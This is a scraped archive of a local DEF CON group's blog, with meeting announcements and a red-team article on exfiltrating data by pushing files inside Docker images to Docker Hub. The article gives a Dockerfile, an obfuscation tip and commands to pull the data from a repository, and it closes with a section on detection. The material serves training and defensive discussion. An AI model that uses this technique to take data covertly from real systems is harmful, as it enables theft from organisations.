Upstate South Carolina's DEF CON Group
     Menu
!
# CVE, CWE, OWASP, and MITRE ATT&CK
Posted on  by 
CVE, CWE, ATT&CK, and OWASP, so many ways to describe risk, but how do they work? This talk will help show how these tools work together at a high level and how we can use them to help track risk. Community member WinRM presents this month’s presentation. Thursday, December 1st, 2022 at 6 PM.
Following the talk there will be three breakout areas:
* **Projects**: Open mic, anyone can take five minutes to share a project, hobby, or something they’ve learned.
* **Blue Team Village**: TBD
* **Red Team Village**: WinRM & LukeTech will have a hands-on badge cloning demo. PNPT / OSCP study group.
All meetings are free and open to the public.
The meeting is both online and in-person.
* In-person at **Hughes Main Library** meeting **room** TBD.
* Online details are posted in our **** (invite link).
  , , , , 
## Post navigation
[Previous Post
### Incident NonResponse – November Meeting[Next Post
### January 5th Meeting – The Church of Emacs by rbrins
Search for:
   Search
#### Recent Posts
#### Categories
#### Archives
#### Tags
WordPress Theme: Donovan by ThemeZee.
# Month: October 2022
## 
Join us this November (11/03 at 6 PM) for the telling of tales from the field by community member rbrins.
# Incident NonResponse – November Meeting
Join us this November (11/03 at 6 PM) for the telling of tales from the field by community member rbrins. This will be an interactive experience where by you can take part in the action and get some representational experience on incident response in the corporate world.
We’re also making a change to the project time. There will be three breakout areas:
* **Project Open Mic:** anyone can take five minutes to share what they’re working on. This is a great opportunity to practice public speaking in a supportive environment.
* **Blue Team Village:** &drew will host Backdoors & Breaches
* **Red Team Village:** PNPT / OSCP study group
* In-person at **Hughes Main Library** meeting **room A**.
### Finding Unique Ways to Grow Skills[Next Post
### CVE, CWE, OWASP, and MITRE ATT&CK
# Month: September 2022
Most skills take time to hone and master. I’m not only referring to technical but also soft skills related to
# Month: August 2022
This Thursday 8/4 we have a special guest speaker from the Electronic Frontier Foundation (EFF), Alexis Hancock Director of Engineering,
# Mobile and Personal Security
This Thursday 8/4 we have a special guest speaker from the **Electronic Frontier Foundation (EFF), Alexis Hancock** Director of Engineering, Certbot.
Alexis works to encrypt the web by managing the Certbot and HTTPS Everywhere projects. She researches an intersection of issues on digital rights, encryption, and consumer technology. Deeply passionate about tech equity for all, she has been aiding activists and educators with their tech needs for over a decade.
New Location, again (*sorry, downtown is being painted*):
Greenville County Library System | **Pelham Road (F. W. Symmes) Branch**
1508 Pelham Road, Greenville, SC 29615
Time:
6 – 8pm
This is an **In-Person and Virtual meeting event** in **Voice Channels** / **Monthly-Meet**.
  , , 
### Exfiltrating Information with Docker[Next Post
### Finding Unique Ways to Grow Skills
# Month: July 2022
Overview Mitre ATT&CK calls out Exfiltration Over Web Service: Exfiltration to Code Repository as technique  While it specifically gives an
# Exfiltrating Information with Docker
# Overview
Mitre ATT&CK calls out **Exfiltration Over Web Service: Exfiltration to Code Repository as technique** < While it specifically gives an example of github, I learned about Docker recently and thought this would be a great way to exfiltrate data.
This article is meant to briefly show a method of exfiltration over docker to a docker repository.
* Using Docker to exfiltrate data
* Using Docker Hub here due to the prevalence of using it to pull base docker images to act as the Docker Repository for exfiltration.
Note: If using this for red teaming as target exfiltration, consider using pre-agreed upon junk or generated data to demonstrate exfiltration. It can be encoded in such a way that resembles the target data but still is non-sensitive.
## Table of Contents
  + 
  + * 
  * 
# Basics of Docker
Docker is used to create containers to run and share for common and standardized environments. These are prevalent in CI/CD pipelines within DevOPs.
`docker pull nginx` is a pretty standard command to pull the container from <
docker pull
`docker build dockerfileDir/` specifies building with a dockerfile Make sure to make the directory and add your Dockerfile into the directory before building.
docker build output
`docker image ls` to list the docker images
docker list image output
`docker image push name[:tag]` to push an image to docker hub or a self-hosted repository.
docker image push output
# Creating and Exfiltrating the Docker Images
## Single Docker Image
Uses nginx as the base image then copy the data to be exfiltrated into some directory.
```
FROM nginx
COPY file.txt /tmp/
> 🥷 OPSEC: The file.txt should be obfuscated and/or encrypted that is normal on the developer machine. For example, .js file endings with heavily obfuscated js code is normal.
Retrieving the Docker image
`docker pull rbtesting4/unloading-data-containers`
NOTE: Don’t forget to use `docker login` to login into the repository
Retrieve the data from the container. This can be done a number of ways, one of the quickest methods for a simple text file will be spawn a shell into the container and display the contents.
spawning a shell into the container and displaying the exfiltrated data
## Multiple Docker Images (Stacked)
Depending on the amount of data to be exfiltrated, uses multiple tags on the same docker, or layering images might be better than a single image.
Tags are used to unique identify docker images. Often tags are set to version numbers. For exfiltration purposes, tags can be used to identify the sequence of data being exfiltrated.
To do this, add the tag after the colon when pushing to the repository and ensure the dockerfile `COPY` command is pointing to the next bit of data to exfiltrate.
Like `testAccount/testrepository:thisisatagv0.1`. Which has “file2.txt” as the next set of exfiltrated data.
docker hub showing multiple tags from the same repository
# Scripting it All Together
Docker has an SDK for python that is well documented. I needed to install it with something like `pip install docker`. This script just automates the process that can absolutely be done but using the native commands.
* Dock-worker load functionality, executes on the victim machine. Confirms by checking docker hub account.
dock-worker load functionality output
docker hub displays last push
* Dock-worker unload, used from the attacker perspective to pull the image from the repository and quickly extract the data.
Uses the results of exec to show the output of the file
# Detection
When thinking about how I would find a rogue docker hub push, I thought of the follow options:
1. Local logs generated if elevated privileges are needed to connect to the docker.sock, especially if developers have access to this resource anyways. This was discovered used `journalctl -g "docker.sock"`.
2. Network traffic can show the look up of the repository registry, this can be used as an alert if your company uses a different company specific repository for pushing. Using tcpdump, we can seen the query for “A? registry-1.docker.io.” and “AAAA? registry-1.docker.io.”.
Unfortunately, it looks like communication is over https, so unless a proxy was used throughout the organization, including potential production systems using docker that this would be used on, scanning the data of the traffic would be fairly useless.
Netflow look at part of initial connection
Netflow shows https traffic for the upload of the image
# Summary
In the right context, exfiltration using docker images to a repository may be a valid and covert way to exfiltrate large amounts of information. While this proof of concept is not ready for production red team usage, a few tweaks to more robustly handle errors, login issues, splitting information over multiple tags, and using existing containers heuristics to blend into the environment.
Hopefully, red teams in this situation will be able to modify this to their needs and blue teams can brainstorm with their dev teams about detective, preventative, and responsive controls to be put in place to not generate hundreds or thousands of legitimate non-malicious events.
# Resources
For creating dock-worker – <
For understanding the docker commands – <
dock-worker proof-of-concept code – <
### TryHackMe WriteUp | LazyAdmin[Next Post
### Mobile and Personal Security
# Month: June 2022
Description: Easy linux machine to practice your skills. Have some fun! There might be multiple ways to get user access.
Description: You found a secret server located under the deep sea. Your task is to hack inside the server and